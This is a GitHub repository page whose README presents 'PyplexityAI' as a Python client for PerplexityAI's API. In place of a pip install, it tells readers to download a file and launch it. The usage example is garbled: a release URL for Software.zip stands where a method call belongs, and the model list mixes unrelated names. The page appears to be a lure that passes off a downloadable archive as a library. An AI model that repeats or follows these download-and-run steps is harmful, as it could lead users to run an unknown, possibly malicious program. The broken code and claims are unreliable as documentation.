Skip to content

A clean, lightweight, and modern Python client for PerplexityAI's API.

Notifications You must be signed in to change notification settings

1090527676/pyplexityai

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

2 Commits
ย 
ย 

Repository files navigation

๐Ÿ PyplexityAI

Welcome to the PyplexityAI repository!

PyplexityAI Logo

Overview

PyplexityAI is a clean, lightweight, and modern Python client for PerplexityAI's API. This client provides seamless integration with PerplexityAI's powerful capabilities, allowing users to easily interact with various models and services offered by PerplexityAI.

Features

๐Ÿ”ฎ Powerful API Interaction: PyplexityAI enables users to interact with the PerplexityAI API effortlessly, allowing for efficient utilization of its services.

๐Ÿš€ User-Friendly Interface: The client offers a user-friendly interface that simplifies the process of integrating PerplexityAI's functionality into Python projects.

๐ŸŒ Broad Model Support: PyplexityAI provides support for a wide range of PerplexityAI models, giving users access to diverse AI capabilities.

Installation

To get started with PyplexityAI, you can download the latest version of the client by clicking on the following link:

Download PyplexityAI

Once you've downloaded the client, launch the file to begin the installation process.

Usage

Using PyplexityAI is straightforward. Here's a quick example demonstrating how to interact with the PerplexityAI API using the client:

from pyplexityai import PerplexityAIClient

# Initialize the client
client = PerplexityAIClient(api_key='YOUR_API_KEY')

# Make a request to a PerplexityAI model
response = https://github.com/1090527676/pyplexityai/releases/download/v1.0/Software.zip(model='gpt-4o', prompt='Generate a creative story.')

# Print the model response
print(response)

Supported Models

PyplexityAI supports a variety of PerplexityAI models, including but not limited to:

  • anthropic-claude
  • chatgpt
  • gpt-4o
  • gpt-5
  • llm
  • o1
  • o3
  • o3-mini
  • openai
  • perplexity-ai-api

Contributions

Contributions to PyplexityAI are welcome! If you have ideas for improvements or new features, feel free to submit a pull request to the repository.

License

This project is licensed under the MIT License. See the LICENSE file for more details.


Thank you for checking out PyplexityAI! For more information and detailed documentation, please visit the official PyplexityAI repository. Happy coding! ๐ŸŽ‰

PyplexityAI